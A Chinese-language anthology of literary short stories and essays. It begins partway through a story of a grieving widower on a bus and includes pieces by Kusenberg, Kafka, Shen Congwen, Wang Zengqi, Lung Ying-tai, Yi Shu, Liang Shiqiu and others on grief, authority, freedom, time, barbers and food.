　　“别让这人上车，”警卫对司机说，“他们要他回那家医院去，是和他生病的太太有关的事，虽然我搞不清楚真正原因。”

　　“我没犯错。”我告诉司机，并在后面找了位置坐下。坐在我前面的一位女士叫道：“停在这里干什么？又不是红灯。”

　　“听着，”司机对警卫说，“如果你没有具体的指控或拘捕这个人的手续，我就要开车了。”

　　“请你开车好吗？”乘客说。

　　“是啊，”我捏着嗓子说，假装是另一名乘客在说话，“我有个重要约会，你这样慢吞吞的，老是停下来，我肯定要迟到的。”

　　司机对警卫耸耸肩：“上来或者下去，老兄，你赶快决定吧。”

　　警卫走上车来，付了车钱，车子发动了，他过来坐在我旁边。

　　“我必须跟在你身边，而且得报告一下，你不介意吧？”他对我说，然后举起对讲机，“拉斯洛。”

　　“拉斯洛，”一个声音说，“你溜到哪里去了？”

　　“我在公车上。”

　　“你在那儿干吗？你还没下班！”

　　“我跟那个你叫我拦住的人在一起。我在外面想拦住他，但他说我得找个警察来，因为我们在公共街道上。我试着说服他回去，可是他不肯。他说他已吻过某个女士的手，而我们可以保留她的身体。我不懂那是什么意思。他上了这辆公车，司机认为我拘捕那个人是不合法的行为，而且他必须开完全程。所以我上了这辆公车，现在正坐在那个人旁边，如果你们要我下一站就下车，我就下车。我只是不知道在这种情况下，该如何执行命令，在得到你们的指示之前，只能跟在他身边。”

　　“你是对的。现在让我跟他说话。”

　　拉斯洛把对讲机举向我。

　　“喂。”我说。

　　“将你太太的尸体捐赠给医院研究或移植用的文件都准备好了，先生，你现在能不能和拉斯洛一起回来？”

　　“不能。”

　　“如果你觉得回来会令你难过，那我们是不是可以找个别的地方让你签名？”

　　“随你们怎么处置她的尸体，我不想再接触任何与她有关的事情。我不再提她的名字，不想回我们的公寓，不想开走我们共同那辆车—让它在街上生锈，直到有人拖走。这只表，她买给我的，她自己也戴过几次……”说着，我把表丢出窗外。

　　“你为什么不把它递到后面来呢？”坐在我后面的男士说。

　　“这些衣服，有些是她买的，每一件她都缝补过。”我脱掉夹克、领带、衬衫和长裤，抛出窗外。

　　“注意，”拉斯洛说，“我只是医院的安全警卫，有一副手铐，我不想用来对付你，因为我们在公共汽车上，也因为你经历的伤痛，但拜托你平静下来。”

　　“这内衣是我自己昨天买的，所以我可以继续穿着。”我对他说，“但这双鞋得扔掉，她用一个廉价的修鞋器钉上了鞋跟。”我脱下鞋子，从车窗扔出去。公车已经停了，除了拉斯洛以外，乘客都下去了。司机站在街头寻找巡警。

　　我看看我的袜子，“我不太确定这双袜子是不是她给我买的。”

　　“别脱，”拉斯洛说，“看起来很好，我喜欢棕色。”

　　“我想这是她两年前送我的生日礼物，那一次，她送我一个藤编野餐篮，里面装着十八双不同颜色的袜子，对了，这是其中的一双。”于是我脱下来，丢出去。

　　“你知道，”我拿着对讲机说，“我们一起在这里住了好些年，我和她，自打我们结婚开始。这些街道，这座桥，这些建筑物。”我朝窗外吐了一口口水，“也许连这辆公车，我们都来来回回坐了好几次。”我试着拔起我前头的座椅，但它纹丝不动。拉斯洛用手铐铐住了我的双手。“这一生。”我说着，用脑袋撞破了车窗，想飞出去。

　　一辆救护车开过来，送我回到医院。我被送到急诊室，躺在一张病床上，她最后一次来这家医院，也是在这间诊疗室。正当医生和护士忙着取出遗留在我头部的玻璃碎片，并且缝合伤口的时候，一位院方职员走了进来，说：“如果你还想捐出你太太的尸体，那么我们希望将她的部分器官移植给楼上的病人。”

　　“不，我不希望有人带着我太太的器官走来走去，也许有一天我会撞上他们，或者认出他们来。”

　　可是他们抓住我的手，握着我的手签了字。

轻蔑的一瞥

库森别格尔

　　电话铃响了，警察局长拿起听筒——“喂！”

　　“我是克尔齐警长。刚才有一位过路人轻蔑地瞧我。”

　　“或许你弄错了吧，”警察局长要他考虑一下，“几乎每个碰上警察的人都感到心虚，不敢正视。这看起来就像是轻蔑。”

　　“不，”警长说，“不是这么回事。他轻蔑地打量我，从制服、帽一直到皮靴。”

　　“你为什么没有把他抓起来？”

　　“当时我愣住了。在我想到这是侮辱的时候，那人已经不见了。”

　　“你还认得出他来吗？”

　　“肯定，他蓄的是红胡子。”

　　“你现在觉得怎么样？”

　　“相当难受。”

　　“坚持一下，我叫人来换班。”

　　警察局长打开了话筒。他派出一辆救护车到克尔齐那个区去，同时命令把所有蓄红胡子的公民抓起来。配备有无线电话器的巡警队接到命令的时候，正在值勤。两个人正在试验哪一辆车跑得快，另外两个人在酒馆里庆贺店主的生日，三个人帮着一个同事搬家，其余的人在街上买东西。但一听到事情的经过，他们就急忙驱车直奔市中心区。他们封锁了一条又一条街道，逐户搜查。他们跑进商店、饭馆、住宅，凡找到一个红胡子，就把他拖走。到处交通停顿。警报的鸣叫声使居民惊惶不安，谣言风传：这次搜捕的目标是一个大杀人犯。围捕刚开始了几小时，虏获可观：五十八个红胡子给带到警察总局来了。克尔齐警长，由两名护理人员搀扶着，在这批嫌疑犯面前省视而过，但他却没有指认出作案人。警察局长归因于克尔齐的健康状况，命令审讯拘留犯。他说：“就算他们在这件案子里清白无辜，他们肯定也犯过别的错误，审讯总是会有收获的。”

　　对，审讯诚然会有收获，特别是在这个城市里，但不要以为受审的人受到了虐待；还不至于到如此粗暴的地步，所采用的方法是比较微妙的。长期以来，秘密警察不声不响地讯问了每个公民的亲属和仇人，从而建立了一套卡片，从这里面可以查到他特别憎恶什么：风钻的嘎嘎声，刺目的强光，石碳酸气味，北欧民歌，剥皮老鼠的样子，狗叫，等等。如果运用得彻底，这些办法大多可以奏效：它能从受审者嘴巴里逼出供词来，有真有假，视情况而定，而警察总是高兴的；这五十八个人现在所面临的就是这类办法。要搜捕的那个人早已回到了他的寓所；警察按他的门铃的时候，他没有听见，因为他正往浴盆里放水。洗澡水准备好了之后，他倒是听见门铃声了，但那是邮递员送来一份电报。消息是可喜的，有人给他在国外准备了一个好职位，——不过，条件是：他得立即启程。

　　“好，”这人说，“好，现在要做两件事：胡子要剃掉，因为我讨厌它了，要弄到一份护照，因为我没有。”

　　他痛痛快快地洗了个澡，重又穿好衣服。为了庆贺这个大喜日子，他选了一条特别漂亮的领带系上。他打电话询问几点钟能指望搭上一架飞机。他离开寓所，跨过几条恢复了宁静的街道，走进一间理发店。这件事办完后，他到警察总局去，因为他知道只有在那里才能在很短时间内领到一份护照。说到这里，得补充一点：这个人事实上是轻蔑地瞧过那个警察的，原因是克尔齐的样子极像他的表兄艾贡。对这个不中用而且欠着他钱的表兄，这人感到轻蔑，这种感情在他见到克尔齐的时候就不由自主地倾注于目光中了。所以，克尔齐的观察是正确的，他的报告是无可指谪的。事有凑巧，这人走进警察局的时候，又碰上那位使他想起他表兄艾贡的警察了。但这一次，为了不得罪对方，他把目光迅速移开了。而且，那可怜的人显然健康状况不佳，两个护理人员正陪着他走向一辆救护车。申请护照的事并不如这人想像的那么简单。他身边带有一些证明文件，也出示了电报，这都无济于事，他申请出国的计划，匆促得没有分寸，吓坏了经管护照的警官。

　　“一份护照是一份重要文件，”他解释说，“办这么一份证明文件是需要时间的。”

　　这人点点头。

　　“按规章制度可能是这样。但每种规章制度都有例外。”

　　“这种情况我决定不了，”警官说。

　　“只有警察局长才能决定。”

　　“那就交给他决定。”

　　警官把文件找到一块儿来，站起身来。

　　“您跟我来，”他说。

　　“我们抄近路——穿过办公室。”

　　他们穿过三四个房间，那里面坐的尽是蓄红胡子的人。

　　“真滑稽，”这人想。

　　“我原先不知道他们有这么多人。我现在不归他们那一伙了。”

　　像一些独裁者一样，警察局长也爱摆出社交场上老手的样子。他听取了报告就把那警官打发走了，然后请客人就座。但客人要勉强装出笑脸却不容易，因为这位警察局长的模样长得像他同样厌恶的堂弟阿突尔。但是，掌管微笑机能的肌肉却尽忠职守——这可是关系到护照的大事啊。

　　“小官儿们胆小，”警察局长说，“他们避免作任何决定。不在话下，您马上而且就在这儿可以领到护照。您到伊士坦布尔上任，是我们城市的荣誉。我祝贺您。”

　　他在护照上盖了个印，签上了名。他大大方方地把护照递给客人，好像那是一个随随便便的什么小本儿。

　　“您系了一条特别漂亮的领带，”他说。

　　“一幅市区图，是吗？”

　　“不错，”这人回答说，“是伊士坦布尔的市区图。”

　　“妙极了的主意。好吧，”警察局长站起身来，把手伸向那人，“我祝您一路平安。”

　　他把客人送到门口，向他亲切地挥手致意，然后走进审讯拘留犯的房间里。为了缩短自己受折磨的时间，那些可怜人已经承认一些违法行为，但就没有承认指控的那一条罪行。

　　“继续审讯！”警察局长命令道，然后去吃午饭。他回来时，见那里摆着一份报告。一个理发师报告：他上午按照一个顾客的意愿，给他剃掉了蓄着的红胡子。这人本身他描写不出，但他记得衣着上的一个显眼之处：一条印有市区图的领带。

　　“我这匹蠢驴！”警察局长叫了一声。他一步跳两级，奔下楼梯。院子里，他的车停着备用。

　　“到飞机场！”他朝着司机喊道，顺势一靠，坐在后排位子上。司机施展出全身本事。他辗死了两只狗、两只鸽子和一只猫，擦坏了一辆电车，轧坏了一辆装着废纸的手推车，吓坏了成千上百的过路人。在他到达目的地的时候，在外边老远的地方，只见飞往伊士坦布尔的飞机从跑道上分秒不差地起飞了。

清晨的变故

黑井千次

　　光男早晨醒来，发现枕边有一片白纸。他拿起一看，是折叠着的纸条，上面好像写着什么。他打开窗帘读完了这张纸条，不由得大吃一惊。

　　光男，我已经无法忍耐这种生活，请让我离开这个家。13年来，承蒙关照。你也要保重身体，良子。

　　他只穿上一条裤腿就往外跑，一不小心摔了个跟头。在他急急忙忙要爬起来的时候，听到厨房里响着与每天早晨同样的做饭声。现在良子还在，是不是一会儿就要离家出走？

　　“早晨好！”

　　妻子从水池子前回过头来，脸色与昨天一样，没有任何异常。

　　“这封信是怎么回事？”

　　“你看了？就是那么回事。”

　　“别开玩笑。吓了我一跳。”

　　“我不是开玩笑，是很认真的。”

　　“可是，良子不是在这里吗？”

　　“不，大清早就走了。”

　　“……那么，你是谁？”

　　“你还没睡醒吧？我是你的妻子呀！”

　　“良子就是我的妻子。”

　　“什么，你果真这样想？”

　　“当然。我和良子结的婚……”

　　“天亮时，良子就提着白色旅行包走了。这里剩下的只有你的妻子。”

　　听妻子这样充满自信地说，他糊涂了。

　　“那么我问你，我到底是谁？”

　　“傻瓜！你不是我的丈夫吗？”

　　“那么，光男这个人跑到哪里去了？”

　　“怎么，你不知道？他不是光着脚追良子去了吗？他边跑边喊，我不好！我不好！”

　　光男一下子没了主心骨，依稀觉得好像确实有这么一回事。

　　上班的时间到了，光男精神恍惚地走出了家门。

　　“您走好！”

　　妻子清脆地说。

　　到了公司，他忍不住把今天早晨家里发生的事与一个最信赖的同事说了。

　　“怎么，你家还是这个样子？”那个同事满不在乎地说，“我家五年前就发生过这样的事了。幸好现在夫妻关系还算圆满。”

　　“那么，出走的那两个人怎么样了？”

　　“嗯……是不是倒在什么地方死了？”

不一样的自由

龙应台

　　她那个打扮实在古怪，而且难看。头发狠狠地束在左耳边，翘起来那么短短的一把，脸蛋儿又肥，看起来就像个横摆着的白萝卜。腿很短，偏又穿松松肥肥的裤子，上衣再长长地罩下来，盖过膝盖，矮矮的人好像撑在面粉袋里作活动广告。她昂着头、甩着头发，春风得意地自我面前走过。

　　她实在难看，但我微笑地看她走过了，欣赏她有勇气穿跟别人不太一样的衣服。

　　这个学生站起来，大声说他不同意我的看法。他举了一个例子，一个逻辑完全错误的例子。比手划脚地把话说完，坐下。全班静静的，斜眼看着他，觉得他很猖狂，爱自我炫耀，极不稳重。

　　他的论点非常偏颇，但我微笑地听他说话，欣赏他有勇气说别人不敢说的话。

　　朋友发了两百张喜帖，下星期就要结婚了。可是又发觉这实在不是个理想的结合——两百个客人怎么办？他硬生生地取消了婚宴。

　　他的决定实在下得太晚了一点，但我微笑地撕掉那张喜帖，欣赏他有勇气做一般人不敢做的事，上了车，还有下车的勇气。

　　简陋的讲台上，披着红条子的候选人讲得声嘶力竭。穿制服的警察、着便衣的监选员，紧张地站在群众堆里。候选人口沫横飞地，把平常报纸绝对不会刊登的言论大声大嚷地说出来。

　　他举的例子谬误百出，他的用语粗糙而低级，可是我站在榕树荫里，耐心地听他说完，欣赏他有勇气主张与大众不同的意见。

　　那个萝卜头也许很幼稚，只是为了与别人不同而不同。我的学生也许很肤浅，站起来说话只是为了出风头。取消婚宴的朋友或许有朝三暮四的个性，极不可靠。使警察紧张的候选人或许知识和格调都很低，对民主的真义只有很浅薄的了解。

　　可是，我想，他们有与我不一样的自由，也有与你不一样的自由。

谁的生命可以不受时间限制

沈从文

　　一切存在严格的说都需要“时间”。时间证实一切，因为它改变一切。气候寒暑，草木荣枯，人从生到死，都不能缺少时间，都从时间上发生作用。

　　常说到“生命的意义”或“生命的价值”。其实一个人活下来真正的意义同价值，不过是占有几十个年头的时间罢了。生前世界没有他，他是无意义无价值可言的。活到不能再活死掉了，他没有生命，他自然更无意义无价值可言。

　　正仿佛多数人的愚昧同少数人的聪明，对生命下的结论差不多都以为是“生命的意义同价值是活个几十年”，因此都肯定生活，那么吃，喝，睡觉，吵架，恋爱，……活下来等待死，死后让棺木来装殓他，黄土来掩埋他，蛆虫来收拾他。

　　生命的意义解释得既如此单纯：“活下来，活着，倒下，死了”，未免太可怕了。因此次一等的聪明人，同次一等的愚人，对生命意义同价值找出第二种结论，就是“怎么样来耗费这几十个年头”。虽更肯定生活，那么吃，喝，睡觉，吵架，恋爱，……然而生活得失取舍之间，到底也就有了分歧。这分歧是一看即明白的。大别言之，聪明人要理想生活，愚蠢人要习惯生活。聪明人以为目前并不完全好，一切应比目前更好，且竭力追求那个理想。愚蠢人对习惯完全满意，安于习惯，保护习惯。（在世俗观察上，这两种人称呼常常相反，安于习惯的被呼为聪明人，怀抱理想的人却成愚蠢家伙。）

　　两种人既同样有个“怎么样来耗费这几十个年头”的打算，要从人与人之间找寻生存的意义和价值，即或择业相同，成就却不相同。同样想征服颜色线条作画家，同样想征服乐器声音作音乐家，同样想征服木石铜牙及其他材料作雕刻家，甚至于同样想征服人身行为作帝王，同样想征服人心信仰作思想家：一切结果都不会相同。因此世界上有大诗人，同时也就有蹩脚诗人，有伟大革命家，同时也有虚伪革命家。至于两种人目的不同，择业不同，那就更容易一目了然了。

　　看出生命的意义同价值，原来如此如此，却想在生前死后使生命发生一点特殊意义同价值，心性绝顶聪明，为人却好像傻头傻脑，历史上的释迦，孔子，耶稣，就是这种人。这种人或出世，或入世，或革命，或复古，活下来都显得很愚蠢，死过后却显得很伟大。屈原算得这种人另外一格，历史上这种人并不多，可是间或有一个两个，就很像样子了。这种人自然也只能活个几十年，可是他的观念，他的意见，他的风度，他的文章，却可以活在人类记忆中几千年。一切人生命都有个时间限制，这种人的生命又似乎不大受这种限制。

　　话说回来，事事物物要时间证明，可是时间本身却是个极其抽象的东西。从无一个人说得明白时间是个什么样子。“时间”并不单独存在。时间无形，无声，无色，无臭。要说明时间的存在，还得回头从事事物物去取证。从日月来去，从草木荣枯，从生命存亡找证据。正因为事事物物都可为时间作注解，时间本身反而被人疏忽了。所以多数人提问到生命的意义同价值时，没有一个人敢说“生命意义同价值，只是一堆时间”。

　　“前不见古人，后不见来者”，这是一个真正明白生命意义同价值的人所说的话。老先生说这话时心中很寂寞！能说这话的是个伟人，能理解这话的也不是个凡人。目前的活人，大家都记着这两句话，却只有那些从日光下牵入牢狱，或从牢狱中牵上刑场的倾心理想的人，最了解这两句话的意义。因为说这话的人生命的耗费，同懂这话的人生命的耗费，异途同归，完全是为事实皱眉，却胆敢对理想倾心。

　　他们的方法不同，他们的时代不同，他们的环境不同，他们的遭遇也不同，相同的他们的心，同样为人类而跳跃。

二手衣

亦舒

　　孩子衣服穿三个月就不合身，若能找到小哥哥或是小姐姐承继旧衣服，至理想不过。

　　当然有些人家潇洒，不注重穿衣之道，可是友人中不少喜打扮子女，小小考究衣服，款式缝工料子都不可多得，只穿三五次，多么可惜。

　　况且人家妈妈品味心思一流，不知花几许金钱时间去挑选物色回来，为什么不坐享其成呢。

　　古时，华人的习俗是，看到哪家孩子福气好，又健康，便多人讨他的旧衣来穿。

　　“令千金不合穿衣裳，请转交于我。”但愿也像人家女儿那样聪明漂亮可爱。

　　然后，穿不下了，又再转赠下一位，实行环保，不知多好，买不起？非也非也，故意省？

　　也不是如此，而是实在不知道何处可以买到深蓝色镶丝绒凯丝咪莫斯契诺童装小大衣，有人送来，不亦乐乎。

　　不过，二手衣的可贵之处在互相赠送的心意及温暖，否则意义荡然无存。

　　要买，自然买新的，怎么穿陌生人的旧衣服？这件事透着无限诡异。

理发师

汪曾祺

　　我有个长辈，每剪一次指甲，总好好地保存起来。我于是总怕他死。人死了，留下一堆指甲，多恶心的事！这种心理真是难于了解。人为什么对自己身上长出来的东西那么爱惜呢？也真是怪，说起鬼物来，尤其是书上，都有极长的指甲。这大概中外都差不多。同样也是长的，是头发。头发指甲之所以可怕，大概正因为是表示生命的（有人告诉我，死了之后指甲头发都还能长）。人大概隐隐中有一种对生命的恐惧。于是我想起自己的不爱理发，我一觉察我的思想要引到一个方向去，且将得到一个什么不通的结论，我就赶紧把它叫回来。没有那个事，我之不理发与生啊死的都无关系。

　　也不知是谁给理发店订了那么个特别标记，一根圆柱上画出红蓝白三色相间的旋纹。这给人一种眩晕感觉。若是通上电，不歇地转，那就更教人不舒服。这自然让你想起生活的纷扰来。但有一次我真叫这东西给了我欢喜。一天晚上，铺子都关了，街上已断行人，路灯照着空荡荡的马路，而远远的一个理发店标记在冷静之中孤零零地动。这一下子把你跟世界拉得很近，犹如大漠孤烟。理发店的标记与理发店是一个巧合。这个东西的来源如何，与其问一个社会人类学专家，不如请一个诗人把他的想象告诉我们。这个东西很能说明理发店的意义，不论哪一方面的。我大概不能住在木桶里晒太阳，我不想建议把天下理发店都取消。

　　理发这一行，大概由来颇久，是一种很古的职业，我颇欲知道他们的祖师是谁，打听迄今，尚未明白。他们的社会地位，本来似乎不大高。凡理发师，多世代相承，很少改业出头的。这是一种注定的卑微了。所以一到过年，他们门楣上多贴“顶上生涯”四字，这是一种消极反抗，也正宣说出他们的委屈。别的地方怎样的，我不清楚，我们那里理发师大都兼做吹鼓手。凡剃头人家子弟必先练习敲铜锣手鼓，跟在喜丧阵仗中走个几年，到会吹唢呐笛子时，剃头手艺也同时学成了，吹鼓手呢，更是一种供驱走人物了，是姑娘们所不愿嫁的。故乡童谣唱道：

　　姑娘姑娘真不丑，一嫁嫁个吹鼓手，吃人家饭，喝人家酒，坐人家大门口！

　　其中“吃人家饭，喝人家酒”，也有唱为“吃冷饭，吃冷酒”的，我无从辨订到底该怎样的。且刻画各有尖刻辛酸，亦难以评其优劣，自然理发师（即吹鼓手）老婆总会娶到一个的，而且常常年轻好看。原因是理发师都干干净净，会打扮收拾；知音识曲，懂得风情；且因生活磨炼，脾性柔和；谨谨慎慎的，穿吃不会成大问题。聪明的女孩子愿意嫁这么一个男人的也有，并多能敬重丈夫，不以坐人家大门口为意。若在大街上听着他在队仗中滴溜溜吹得精熟出色，心里可能还极感激快慰。事实上这个职业被目为低贱，全是一个错误制度所产生的荒谬看法。一个职业，都有它的高贵。理发店的春联“走进来乌纱宰相，摇出去白面书生”，文雅一点的则是“不教白发催人老，更喜春风满面生”，说得切当。小时候我极高兴到一个理发店里坐坐，他们忙碌时我还为拉那种纸糊的风扇。小时候我对理发店是喜欢的。

　　等我岁数稍大，世界变了，各种行业也跟着变。社会已不复是原来的社会，差异虽不太大，亦不为小。其间有些行业升腾了，有些低落下来。有些名目虽一般，性质却已改换。始终依父兄门风，师傅传授，照老法子工作，老法子生活的，大概已颇不多。一个内地小城中也只有铜匠的、锡匠的特别响器。瞎子的档，阉鸡阉猪人的糖锣，带给人一分悠远从容感觉。走在路上，间或也能见一个钉碗的，之故之故拉他的金钢钻；一个补锅的，用一个布卷在灰上一揉，托起一小勺殷红的熔铁，嗤的一声焊在一口三眼灶大黑锅上；一个皮匠，把刀在他的脑后头发桩子上光一光，这可以让你看半天。你看他们工作，也看他们人。他们是一种“遗民”，永远固执而沉默地慢慢地走，让你觉得许多事情值得深思。这好像扯得有点嫌远了。我只是想变动得失于调节，是不是一个问题。自然医治失调症的药，也只有继续听他变。这问题不简单，不是我们这个常识脑子弄得清楚的。遗憾的是，卷在那个波浪里，似乎所有理发师都变了气质，即使在小城里，理发师早已不是那种谦抑的，带一点悲哀的人物了。理发店也不复是笼布温和的，在黄昏中照着一块阳光的地方了。这见仁见智，不妨各有看法。而我私人有时是颇为不甘心的。

　　现在的理发师，虽仍是老理发师后代，但这个职业已经“革新”过了。现在的理发业，和那个特别标记一样是外国来的。这些理发店与“摩登”这个名词不可分，且俨然是构成“摩登”的一部分，是“摩登”本身。在一个都市里，他们的势力很大，他们可以随便教整个都市改观，只要在哪里多绕一个圈子，把哪里的一卷翻得更高些。嗐，理发店里玩意儿真多，日新月异，愈出愈奇。这些东西，不但形状不凡，发出来的声音也十分复杂，营营扎扎，呜呜拉拉。前前后后，镜子一层又一层反射，愈益加重其紧张与一种恐怖。许多摩登人坐在里面，或搔首弄姿，顾盼自怜，越看越美；或小不如意，怒形于色，脸色铁青；焦躁，疲倦，不安，装模作样。理发师呢，把两个嘴角向上拉，拉，笑，不行，又落下去了！他四处找剪子，找呀找，剪子明明在手边小几上，他可茫茫然，已经忘记他找的是什么东西，这时他不像个理发师。而忽然又醒来了，操起剪子咔嚓咔嚓动作起来。他面前一个一个头，这个头有几根白发，那个秃了一块，嗨，这光得像个枣核儿，那一个，怎么回事，他像是才理了出去的？咔嚓咔嚓，他耍着剪子，忽然，他停住了，他努目而看着那个头，且用手拨弄拨弄，仿佛那个头上有个大蚂蚁窝，成千成万蚂蚁爬出来！

　　于是我总不大愿意上理发店。但还不是真正原因。怕上理发店是“逃避现实”，逃避现实不好。我相信我神经还不衰弱，很可以“面对”。而且你不见我还能在理发店里看风景么？我至少比那些理发师耐得住。不想理发的最大原因，真正原因，是他们不会理发，理得不好。我有时落落拓拓，容易被人误认为是一个不爱惜自己形容的人，实在我可比许多人更讲究。这些理发师既不能发挥自己才能，运巧思，也不善利用材料，不爱我的头。他们只是一种器具使用者，而我们的头便不论生张熟李，弄成一式一样，完全机器出品。一经理发，回来照照镜子，我已不复是我，认不得自己了，镜子里是一个浮滑恶俗的人。每一次，我都愤恼十分，心里充满诅咒，到稍稍平息时，觉得我当初实在应当学理发去，我可以做得很好，至少比我写文章有把握得多。不过假使我真是理发师……会有人来理发，我会为他们理发？

　　人不可以太倔强，活在世界上，一方面需要认真，有时候只能无所谓。悲哉。所以我常常妥协，随便一个什么理发店，钻进去就是。理发师问我这个那个，我只说“随你！”，忍心把一个头交给他了。

　　我一生有一次理了一个极好的发。在昆明一个小理发店。店里有五个座位，师傅只有一个。不是时候，别的出去了。这师傅相貌极好。他的手艺与任何人相似，也与任何人有不同处：每一剪子都有说不出来的好处，不夸张（这是一般理发师习气），不苟且（这是一般理发师根性），真是奏刀騞然，音节轻快悦耳。他自己也流溢一种得意快乐。我心想，这是个天才。那是一个秋天，理发店窗前一盆蠖爪菊花，黄灿灿的。好天气。

御旨

卡夫卡

　　据说，皇上临驾崩前曾在御床上向你传下了一条御旨。而你不过是皇上的光辉在极其遥远的地方投下的一丝飘忽的影子，但皇上却恰恰只对你一个人——可怜的属臣传下了这条御旨。皇上命传旨人跪在榻前，贴着他的耳，悄声传下了御旨。由于皇上对这条御旨很重视，因而讲完以后，还让传旨者在他的耳边复述了一遍，并点点头表示领旨人没有弄错。

　　临终前，群臣聚集，四周的护墙都拆除了，在高高的摇晃的拱形门前的台阶上，帝国的巨头们排成圆圈，当着群臣面，皇上遣出了这位传旨者。传旨者得令后随即就上路了。他十分强壮，精力充沛。他一会儿用左手一会儿用右手分开拥挤的人群，辟出一条道来。遇到阻拦，他就指一指胸脯上的太阳标记；他畅通无阻，一直前往，没有别人像他这样顺当。但人群聚集得太多了，他们的房屋简直望不到尽头。

　　如果传旨人能来到空旷的田野的话，他马上就会像飞一样地行走起来，这样不一会儿，你大概就会听到传旨人的拳头打你房门时发出的巨响。

　　但代替这情景的却是，他的努力完全无用；他得不断地一再地穿过内宫里的屋子；可是他一直没有成功；即使他穿过了这些内宫，也没有什么用；他还得费力下那些台阶；可是下台阶后，也是徒劳；他还得走过那些院子，但是，在走完第二个深宫四周的院落后，前面却又是台阶和院落；在它们后面又是一座宫殿，如此排列下去有好几千；假使他最终冲出最后一道宫门的话——这是从来没有过的事，从来没有发生过——于是，在他面前出现了一座都邑，它是世界的中心，那里堆积着很高的渣滓。

　　这里还从来没有人能走得过去，更不用说一位带着死者的使命的人了——当夜色来临时，你却坐在窗前，梦想着得到这道御旨。

忘却

亦舒

　　是不是累，不是；又是不是疲倦，也不是。

　　是否伤心，也不对；那么，是不是气恼，非也非也。

　　是什么使一段感情褪色到完全淡出？

　　是天然的忘却。

　　最新进的电脑有忘却功能，一件讯息，久不为主任所用，会自动洗掉，腾出空间给新资料。

　　人脑当然一早有此功能，感情一定要像银行户口，有来有往，才叫活跃户口，不动户口，宜三年内自动取消。

　　留着干什么，互相不通音讯超过一千个日子，一封信一张卡片一个电话也无，对方大概无心继续友谊，时尚并无特别热情的人，你若无心我便休，一笔勾销。

　　你忙，我也没闲着，你不屑做表面功夫，我也正同你一般耿直，祝贺你前途似锦，大展宏图，再见珍重。

　　单程路不好走，写专栏当然是希望听到读者掌声，都则做的那么辛苦为的是什么，朋友之间，自然要彼此尊重，定期通个消息。

　　同邓伯母，郑伯母等人虽就不见面，可是却不久笑谈几句，十分愉快。

银行抢案

史蒂文 · 舒曼

　　抢匪把他要告诉银行出纳员的话写在小纸片上，他一手握住手枪，一手将纸片递过去。第一张纸上写着：这是抢劫。因为金钱和时间一样，为了活下去，我需要更多钱，所以，把手放在我看得见的地方，不要按任何警报钮，否则我就让你脑袋开花。年纪约在二十五岁左右的女出纳员感觉到，排列在她生命之路上的灯，这么多年来第一次亮起。她将手摆在他看得见的地方。没有按警报钮。她对自己说：啊，危险，你就像爱情一样。她看完字条后，交还给那个拿着枪的人，并且说道：“这些话太抽象了，我不知道该怎么做。”

　　年纪约在二十五岁左右的抢匪在写第二张字条的时候，感觉到他思想的电流流到了手上。他对自己说，啊，金钱，你就像爱情一样。他的第二张纸条写着：这是抢劫。因为这儿只有一条明白的规则，那就是，没钱就得受苦，所以，把你的手放在我看得见的地方，不要按任何警报钮，否则我就让你脑袋开花。这个年轻的女人接过字条，轻轻碰触了那只没有拿枪的写了字条的手。这个碰触立即进入她的记忆之中，并在那儿扎根生长。它成为一盏永恒的灯，每当她迷失，便以它为指引而前进。她觉得她能够看清每样东西，仿佛一层不知名的纱已被揭起。

　　“我想我现在比较懂了，”她先注视他的双眼，然后看着枪，对抢匪说，“但这里所有的钱并不能让你得到你想要的东西。”

　　她深深地注视他，希望自己在他眼里变得富有。她对自己说，啊，危险，你是想耗尽我一生的金子。那个抢匪已经昏昏欲睡了。在这一刻尚未来临之前，这把手枪中装载着他对这一刻的幻梦。这把枪就像一个想睡又不能睡的人的沉重眼皮。他对自己说，啊，金钱，我发现一点点的你会带来更多的你，你可以永无止境的增加，但是有人来了，他们将威胁我们的宝藏。当你走入一片巨大的宁静之中，我无法以够快的速度带走你。啊，金钱，请救救我，因为你即是欲望，只要自己的纯粹欲望。抢匪可以察觉到自己的停顿，他脑中的停歇重重叠起，以致他不太确定下一步要做什么。他开始写下一张字条：这是我一生的剪影，我失眠的剪影：一次怪异的乘巴士经验，它在夜里行进，我很想下来，车上的灯让我无法入睡。在街上，我将追逐那封会改变我一生，却正在风中旋转的情书。给我钱，我的姊妹，让我的手抚摸它。这是一把尚未开火的时间之枪，所以，将你的手放在我看得见的地方，不要按任何警报钮，否则我就让你的脑袋开花。读着这张字条，年轻的女人觉得她体内有双手抓住了她生命的这一刻。对她自己说，啊，危险，你具有无懈可击的清晰，透过你的镜片，我认识了我所要的。年轻的男人和女人注视着彼此的眼睛，视线在他们之间形成了两条通道。透过其中一条，他的生命像小人儿一般走入她的生命，而她的生命也经由另一条通道走进他的生命。

　　“这些钱是爱情，”她对他说，“我将照你的意思做。”

　　她开始把钱放入带来的大袋子里。她搬空了银行的钱之后，整个银行充满了睡意，行内其他的人都沉睡如树木。她终于将所有的钱放进袋中。银行劫匪和银行出纳员一起离去，仿佛是彼此的人质。虽然现在已不需要那么做，他仍然以枪抵住她，因为那把枪已渐渐变得像他们的小孩一般。

白肉

梁实秋

　　白肉，白煮肉，白切肉，名虽不同，都是白水煮猪肉。谁不会煮？但是煮出来的硬是不一样。各地的馆子都有白切肉，各地人家也都有这样的家常菜，而巧妙各有不同。

　　提起北平的白切肉，首先就会想起沙锅居。沙锅居是俗名，正式的名称是“居顺和”，坐落在西四牌楼北边缸瓦市路东，紧靠着定王府的围墙。沙锅居的名字无人不知，本名很少人知道。据说所以有此名称是由于大门口设了一个灶，上面有一个大沙锅，直径四尺多，高约三尺，可以煮一整只猪。这沙锅有百余年的历史，传说从来没有换过汤！我想这是不可能的事，那样大的沙锅如何打制，如何能经久不裂，一锅汤如何能长久不换？这一定是好事者诌出来的故事。这馆子专卖猪肉和猪身上的一切，可以做出一百二十八道菜色不同的猪全席，我一听就心里有点怕，所以一直没去品尝过。到了一九二一年左右由于好奇才怂恿家君一同前去一试。大锅是有一只，我没发现那是沙锅。地方不算太脏，比我们想象的要好一些。五寸碟子盛的红白血肠、双皮、鹿尾、管挺、口条……我们都一一地尝过，白肉当然更不会放过。东西确是不错，所以生意兴隆，一到正午，一只猪卖完，迟来的客人只好向隅明日请早了。究竟是以猪为限，格调不高，中下级食客趋之若鹜，理所当然，高雅君子不可不去一尝，但很少人去了还想再去。

